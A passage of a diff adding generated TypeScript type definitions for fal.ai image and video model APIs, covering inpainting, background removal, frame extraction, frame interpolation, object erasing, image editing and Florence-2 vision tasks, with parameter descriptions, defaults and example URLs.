+ landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFastSdxlInpaintingImageSizeKey = + (typeof inputFalAiFastSdxlInpaintingImageSize)[keyof typeof inputFalAiFastSdxlInpaintingImageSize] + +export const inputFalAiFastSdxlInpaintingSafetyCheckerVersionEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiFastSdxlInpaintingSafetyCheckerVersionEnumKey = + (typeof inputFalAiFastSdxlInpaintingSafetyCheckerVersionEnum)[keyof typeof inputFalAiFastSdxlInpaintingSafetyCheckerVersionEnum] + +export const inputFalAiFastSdxlInpaintingFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFastSdxlInpaintingFormatEnumKey = + (typeof inputFalAiFastSdxlInpaintingFormatEnum)[keyof typeof inputFalAiFastSdxlInpaintingFormatEnum] + +export type InputFalAiFastSdxlInpainting = { + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @default null + */ + seed?: number | null + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSize3E64Dc98 | InputFalAiFastSdxlInpaintingImageSizeKey + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiFastSdxlInpaintingSafetyCheckerVersionEnumKey + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description determines how much the generated image resembles the initial image + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiFastSdxlInpaintingFormatEnumKey + /** + * @description The URL of the image to use as a starting point for the generation. + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo.png + * @type string + */ + image_url: string + /** + * @description The URL of the mask to use for inpainting. + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo_mask.png + * @type string + */ + mask_url: string + /** + * @description + * The negative prompt to use.Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, illustration, animation. face. male, female + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 65 + * @default 25 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The list of embeddings to use. + * @default [] + * @type array | undefined + */ + embeddings?: EmbeddingFcfe06Dd[] + /** + * @description The list of LoRA weights to use. + * @default [] + * @type array | undefined + */ + loras?: LoraWeight9Debcd26[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example a tiger sitting on a park bench + * @type string + */ + prompt: string +} + +export type Image47A0E734 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number + url: string +} + +export type OutputFalAiFastSdxlInpainting = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: Image47A0E734[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type InputFalAiFeynobg = { + /** + * @description If true, the output is returned as a data URI and is not stored in request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Seed used for reproducible inference. + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of the image to remove the background from. + * @example https://storage.googleapis.com/falserverless/example_inputs/birefnet-input.jpeg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageD2E04A33 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiFeynobg = { + /** + * @description The background-removed image with a transparent alpha channel. + * @type object + */ + image: ImageD2E04A33 + /** + * @description Seed used for reproducible inference. + * @type integer + */ + seed: number +} + +export const inputFalAiFfmpegApiExtractFrameFrameTypeEnum = { + first: 'first', + middle: 'middle', + last: 'last', +} as const + +export type InputFalAiFfmpegApiExtractFrameFrameTypeEnumKey = + (typeof inputFalAiFfmpegApiExtractFrameFrameTypeEnum)[keyof typeof inputFalAiFfmpegApiExtractFrameFrameTypeEnum] + +export type InputFalAiFfmpegApiExtractFrame = { + /** + * @description Type of frame to extract: first, middle, or last frame of the video + * @default 'first' + * @type string | undefined + */ + frame_type?: InputFalAiFfmpegApiExtractFrameFrameTypeEnumKey + /** + * @description URL of the video file to use as the video track + * @example https://v3.fal.media/files/monkey/R6D8anxtsyItZTyBB2ksC_qeoDDxmLSg8cuWasM54KY_output.mp4 + * @type string + */ + video_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image77581129 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputFalAiFfmpegApiExtractFrame = { + /** + * @example [{"url":"https://v3.fal.media/files/elephant/IHmmk4dvyoCCYhtzI2FsO_16df6b1358374c1a9b023c80d752ee7b.jpg"}] + * @type array + */ + images: Image77581129[] +} + +export const inputFalAiFilmOutputTypeEnum = { + images: 'images', + video: 'video', +} as const + +export type InputFalAiFilmOutputTypeEnumKey = + (typeof inputFalAiFilmOutputTypeEnum)[keyof typeof inputFalAiFilmOutputTypeEnum] + +export const inputFalAiFilmImageFormatEnum = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputFalAiFilmImageFormatEnumKey = + (typeof inputFalAiFilmImageFormatEnum)[keyof typeof inputFalAiFilmImageFormatEnum] + +export const inputFalAiFilmVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiFilmVideoWriteModeEnumKey = + (typeof inputFalAiFilmVideoWriteModeEnum)[keyof typeof inputFalAiFilmVideoWriteModeEnum] + +export const inputFalAiFilmVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiFilmVideoQualityEnumKey = + (typeof inputFalAiFilmVideoQualityEnum)[keyof typeof inputFalAiFilmVideoQualityEnum] + +export type InputFalAiFilm = { + /** + * @description The type of output to generate; either individual images or a video. + * @default 'images' + * @type string | undefined + */ + output_type?: InputFalAiFilmOutputTypeEnumKey + /** + * @description Whether to include the end image in the output. + * @default false + * @type boolean | undefined + */ + include_end?: boolean + /** + * @description The format of the output images. Only applicable if output_type is 'images'. + * @default 'jpeg' + * @type string | undefined + */ + image_format?: InputFalAiFilmImageFormatEnumKey + /** + * @description Frames per second for the output video. Only applicable if output_type is 'video'. + * @minimum 1 + * @maximum 60 + * @default 8 + * @type integer | undefined + */ + fps?: number + /** + * @description Whether to include the start image in the output. + * @default false + * @type boolean | undefined + */ + include_start?: boolean + /** + * @description The write mode of the output video. Only applicable if output_type is 'video'. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiFilmVideoWriteModeEnumKey + /** + * @description The URL of the second image to use as the ending point for interpolation. + * @example https://storage.googleapis.com/falserverless/example_inputs/interpolate-end-frame.png + * @type string + */ + end_image_url: string + /** + * @description The URL of the first image to use as the starting point for interpolation. + * @example https://storage.googleapis.com/falserverless/example_inputs/interpolate-start-frame.png + * @type string + */ + start_image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The quality of the output video. Only applicable if output_type is 'video'. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiFilmVideoQualityEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of frames to generate between the input images. + * @minimum 1 + * @maximum 64 + * @default 1 + * @type integer | undefined + */ + num_frames?: number +} + +export type ImageFile3287D826 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type VideoFile = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiFilm = { + /** + * @description The generated frames as individual images. + * @default [] + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/film-mid-frame.jpeg"}] + * @type array | undefined + */ + images?: ImageFile3287D826[] + /** + * @description The generated video file, if output_type is 'video'. + */ + video?: VideoFile | null +} + +export const inputFalAiFinegrainEraserModeEnum = { + express: 'express', + standard: 'standard', + premium: 'premium', +} as const + +export type InputFalAiFinegrainEraserModeEnumKey = + (typeof inputFalAiFinegrainEraserModeEnum)[keyof typeof inputFalAiFinegrainEraserModeEnum] + +export type InputFalAiFinegrainEraser = { + /** + * @description Random seed for reproducible generation + */ + seed?: number | null + /** + * @description Text description of what to erase + * @example person on the right and snowboard + * @type string + */ + prompt: string + /** + * @description Erase quality mode + * @default 'standard' + * @type string | undefined + */ + mode?: InputFalAiFinegrainEraserModeEnumKey + /** + * @description URL of the image to edit + * @example https://v3.fal.media/files/elephant/IKqKIxDfRDK8fzeETCveO_erase_example01.jpg + * @type string + */ + image_url: string +} + +export type File698F0Ff4 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFinegrainEraser = { + /** + * @description Seed used for generation + * @type integer + */ + used_seed: number + /** + * @description The edited image with content erased + * @example {"url":"https://v3.fal.media/files/penguin/PpROj5BGoWMj0H6wb11aG_output.jpg"} + * @type object + */ + image: File698F0Ff4 +} + +export type BoxPromptBase = { + /** + * @description Y Min Coordinate of the box + * @default 0 + * @type integer | undefined + */ + y_min?: number + /** + * @description X Min Coordinate of the box + * @default 0 + * @type integer | undefined + */ + x_min?: number + /** + * @description X Max Coordinate of the prompt + * @default 0 + * @type integer | undefined + */ + x_max?: number + /** + * @description Y Max Coordinate of the prompt + * @default 0 + * @type integer | undefined + */ + y_max?: number +} + +export const inputFalAiFinegrainEraserBboxModeEnum = { + express: 'express', + standard: 'standard', + premium: 'premium', +} as const + +export type InputFalAiFinegrainEraserBboxModeEnumKey = + (typeof inputFalAiFinegrainEraserBboxModeEnum)[keyof typeof inputFalAiFinegrainEraserBboxModeEnum] + +export type InputFalAiFinegrainEraserBbox = { + /** + * @description Random seed for reproducible generation + */ + seed?: number | null + /** + * @description Erase quality mode + * @default 'standard' + * @type string | undefined + */ + mode?: InputFalAiFinegrainEraserBboxModeEnumKey + /** + * @description List of bounding box coordinates to erase (only one box prompt is supported) + * @type array + */ + box_prompts: BoxPromptBase[] + /** + * @description URL of the image to edit + * @example https://v3.fal.media/files/elephant/IKqKIxDfRDK8fzeETCveO_erase_example01.jpg + * @type string + */ + image_url: string +} + +export type FileD7384114 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFinegrainEraserBbox = { + /** + * @description Seed used for generation + * @type integer + */ + used_seed: number + /** + * @description The edited image with content erased + * @example {"url":"https://v3.fal.media/files/penguin/PpROj5BGoWMj0H6wb11aG_output.jpg"} + * @type object + */ + image: FileD7384114 +} + +export const inputFalAiFinegrainEraserMaskModeEnum = { + express: 'express', + standard: 'standard', + premium: 'premium', +} as const + +export type InputFalAiFinegrainEraserMaskModeEnumKey = + (typeof inputFalAiFinegrainEraserMaskModeEnum)[keyof typeof inputFalAiFinegrainEraserMaskModeEnum] + +export type InputFalAiFinegrainEraserMask = { + /** + * @description URL of the mask image. Should be a binary mask where white (255) indicates areas to erase + * @example https://v3.fal.media/files/panda/-31cZrsoy-8BrLqOEFmST_indir%20(18).png + * @type string + */ + mask_url: string + /** + * @description Random seed for reproducible generation + */ + seed?: number | null + /** + * @description Erase quality mode + * @default 'standard' + * @type string | undefined + */ + mode?: InputFalAiFinegrainEraserMaskModeEnumKey + /** + * @description URL of the image to edit + * @example https://v3.fal.media/files/elephant/IKqKIxDfRDK8fzeETCveO_erase_example01.jpg + * @type string + */ + image_url: string +} + +export type File9F4Aeb2F = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFinegrainEraserMask = { + /** + * @description Seed used for generation + * @type integer + */ + used_seed: number + /** + * @description The edited image with content erased + * @example {"url":"https://v3.fal.media/files/penguin/PpROj5BGoWMj0H6wb11aG_output.jpg"} + * @type object + */ + image: File9F4Aeb2F +} + +export type ImageSizeA86B9F99 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFireredImageEditV11AccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFireredImageEditV11AccelerationEnumKey = + (typeof inputFalAiFireredImageEditV11AccelerationEnum)[keyof typeof inputFalAiFireredImageEditV11AccelerationEnum] + +export const inputFalAiFireredImageEditV11ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFireredImageEditV11ImageSizeKey = + (typeof inputFalAiFireredImageEditV11ImageSize)[keyof typeof inputFalAiFireredImageEditV11ImageSize] + +export const inputFalAiFireredImageEditV11OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFireredImageEditV11OutputFormatEnumKey = + (typeof inputFalAiFireredImageEditV11OutputFormatEnum)[keyof typeof inputFalAiFireredImageEditV11OutputFormatEnum] + +export type InputFalAiFireredImageEditV11 = { + /** + * @description The number of inference steps to perform. More steps generally produce higher quality results. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The negative prompt for the generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The editing instruction describing what changes to make to the image. Supports both English and Chinese instructions. + * @example Transform her look into a romantic Parisian evening style with a soft smoky eye in warm terracotta and bronze tones, enhanced lashes with a subtle winged effect, sun-kissed contouring that complements her olive skin, a natural rose-tinted blush on the apples of her cheeks, and lips in a sophisticated mauve-pink shade with a subtle glossy finish, while adding a touch of luminous highlighter on her cheekbones and cupid's bow to catch the warm cafe lighting. + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. Higher values make the model follow the prompt more closely. + * @minimum 1 + * @maximum 10 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use for inference speed optimization. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFireredImageEditV11AccelerationEnumKey + /** + * @description The size of the generated image. If None, uses the input image dimensions. + */ + image_size?: + | ImageSizeA86B9F99 + | InputFalAiFireredImageEditV11ImageSizeKey + | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFireredImageEditV11OutputFormatEnumKey + /** + * @description The URLs of the images to edit. Supports single image editing and multi-image references (e.g., virtual try-on, style transfer from reference, portrait makeup). + * @example ["https://v3b.fal.media/files/b/0a90d776/inhK3tTs7oTswxl20vSYu_d54e0deba2bd46bfb489a82892408b84.png"] + * @type array + */ + image_urls: string[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type Image0242377D = { + width: number + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string +} + +export type OutputFalAiFireredImageEditV11 = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The edited image files info. + * @example [{"width":1760,"height":2352,"content_type":"image/jpeg","url":"https://v3b.fal.media/files/b/0a90d8d7/-B_7ISYXhCNdDXe8q6F7V.png"}] + * @type array + */ + images: Image0242377D[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type InputFalAiFlorence2LargeCaptionToPhraseGrounding = { + /** + * @description The URL of the image to be processed. + * @example https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/transformers/tasks/car.jpg + * @example http://ecx.images-amazon.com/images/I/51UUzBDAMsL.jpg + * @type string + */ + image_url: string + /** + * @description Text input for the task + * @type string + */ + text_input: string +} + +export type BoundingBoxDfb0B014 = { + /** + * @description Label of the bounding box + * @type string + */ + label: string + /** + * @description Height of the bounding box + * @type number + */ + h: number + /** + * @description Width of the bounding box + * @type number + */ + w: number + /** + * @description Y-coordinate of the top-left corner + * @type number + */ + y: number + /** + * @description X-coordinate of the top-left corner + * @type number + */ + x: number +} + +export type BoundingBoxes = { + /** + * @description List of bounding boxes + * @type array + */ + bboxes: BoundingBoxDfb0B014[] +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image87B7Eee4 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFlorence2LargeCaptionToPhraseGrounding = { + /** + * @description Results from the model + * @type object + */ + results: BoundingBoxes + /** + * @description Processed image + * @type object | undefined + */ + image?: Image87B7Eee4 +} + +export type InputFalAiFlorence2LargeDenseRegionCaption = { + /** + * @description The URL of the image to be processed. + * @example https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/transformers/tasks/car.jpg + * @example http://ecx.images-amazon.com/images/I/51UUzBDAMsL.jpg + * @type string + */ + image_url: string +} + +export type BoundingBoxCe06E046 = { + /** + * @description Label of the bounding box + * @type string + */ + label: string + /** + * @description Height of the bounding box + * @type number + */ + h: number + /** + * @description Width of the bounding box + * @type number + */ + w: number + /** + * @description Y-coordinate of the top-left corner + * @type number + */ + y: number + /** + * @description X-coordinate of the top-left corner + * @type number + */ + x: number +} + +export type BoundingBoxes322E2906 = { + /** + * @description List of bounding boxes + * @type array + */ + bboxes: BoundingBoxCe06E046[] +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image0B23D4D6 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFlorence2LargeDenseRegionCaption = { + /** + * @description Results from the model + * @type object + */ + results: BoundingBoxes322E2906 + /** + * @description Processed image + * @type object | undefined + */ + image?: Image0B23D4D6 +} + +export type InputFalAiFlorence2LargeObjectDetection = { + /** + * @description The URL of the image to be processed. + * @example https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/transformers/tasks/car.jpg + * @example http://ecx.images-amazon.com/images/I/51UUzBDAMsL.jpg + * @type string + */ + image_url: string +} + +export type BoundingBoxD271D4A6 = { + /** + * @description Label of the bounding box + * @type string + */ + label: string + /** + * @description Height of the bounding box + * @type number + */ + h: number + /** + * @description Width of the bounding box + * @type number + */ + w: number + /** + * @description Y-coordinate of the top-left corner + * @type number + */ + y: number + /** + * @description X-coordinate of the top-left corner + * @type number + */ + x: number +} + +export type BoundingBoxes17Bd80E6 = { + /** + * @description List of bounding boxes + * @type array + */ + bboxes: BoundingBoxD271D4A6[] +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image774Eccd6 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFlorence2LargeObjectDetection = { + /** + * @description Results from the model + * @type object + */ + results: BoundingBoxes17Bd80E6 + /** + * @description Processed image + * @type object | undefined + */ + image?: Image774Eccd6 +} + +export type InputFalAiFlorence2LargeOcrWithRegion = { + /** + * @description The URL of the image to be processed. + * @example https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/transformers/tasks/car.jpg + * @example http://ecx.images-amazon.com/images/I/51UUzBDAMsL.jpg + * @type string + */ + image_url: string +} + +export type OCRBoundingBoxSingle = { + /** + * @description Label of the bounding box + * @type string + */ + label: string + /** + * @description Height of the bounding box + * @type number + */ + h: number + /** + * @description Width of the bounding box + * @type number + */ + w: number + /** + * @description Y-coordinate of the top-left corner + * @type number + */ + y: number + /** + * @description X-coordinate of the top-left corner + * @type number + */ + x: number +} + +export type OCRBoundingBox = { + /** + * @description List of quadrilateral boxes + * @type array + */ + quad_boxes: OCRBoundingBoxSingle[] +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageEc4C4415 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFlorence2LargeOcrWithRegion = { + /** + * @description Results from the model + * @type object + */ + results: OCRBoundingBox + /** + * @description Processed image + * @type object | undefined + */ + image?: ImageEc4C4415 +} + +export type InputFalAiFlorence2LargeOpenVocabularyDetection = { + /** + * @description The URL of the image to be processed. + * @example https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/transformers/tasks/car.jpg + * @example http://ecx.images-amazon.com/images/I/51UUzBDAMsL.jpg + * @type string + */ + image_url: string + /** + * @description Text input for the task + * @type string + */ + text_input: string +} + +export type BoundingBox2F4344F6 = { + /** + * @description Label of the bounding box + * @type string + */ + label: string + /** + * @description Height of the bounding box + * @type number + */ + h: number + /** + * @description Width of the bounding box + * @type number + */ + w: number + /** + * @description Y-coordinate of the top-left corner + * @type number + */ + y: number + /** + * @description X-coordinate of the top-left corner + * @type number + */ + x: number +} + +export type BoundingBoxes1D5A53B6 = { + /** + * @description List of bounding boxes + * @type array + */ + bboxes: BoundingBox2F4344F6[] +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image849Eacc6 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFlorence2LargeOpenVocabularyDetection = { + /** + * @description Results from the model + * @type object + */ + results: BoundingBoxes1D5A53B6 + /** + * @description Processed image + * @type object | undefined + */ + image?: Image849Eacc6 +} + +export type InputFalAiFlorence2LargeReferringExpressionSegmentation = { + /** + * @description The URL of the image to be processed. + * @example https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/transformers/tasks/car.jpg + * @example http://ecx.images-amazon.com/images/I/51UUzBDAMsL.jpg + * @type string + */ + image_url: string + /** + * @description Text input for the task + * @type string + */ + text_input: string +} + +export type Polygon = { + /** + * @description Label of the polygon + * @type string + */ + label: string + /** + * @description List of points + * @type array + */ + points: { + [key: string]: number + }[] +} + +export type PolygonOutput = { + /** + * @description List of polygons + * @type array + */ + polygons: Polygon[] +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageBe184772 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFlorence2LargeReferringExpressionSegmentation = { + /** + * @description Results from the model + * @type object + */ + results: PolygonOutput + /** + * @description Processed image + * @type object | undefined + */ + image?: ImageBe184772 +} + +export type InputFalAiFlorence2LargeRegionProposal = { + /** + * @description The URL of the image to be processed. + * @example https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/transformers/tasks/car.jpg + * @example http://ecx.images-amazon.com/images/I/51UUzBDAMsL.jpg + * @type string + */ + image_url: string +} + +export type BoundingBox30Eeed52 = { + /** + * @description Label of the bounding box + * @type string + */ + label: string + /** + * @description Height of the bounding box + * @type number + */ + h: number + /** + * @description Width of the bounding box + * @type number + */ + w: number + /** + * @description Y-coordinate of the top-left corner + * @type number + */ + y: number + /** + * @description X-coordinate of the top-left corner + * @type number + */ + x: number +} + +export type BoundingBoxesCc1A6392 = { + /** + * @description List of bounding boxes + * @type array + */ + bboxes: BoundingBox30Eeed52[] +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image4E8F2Fa2 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + 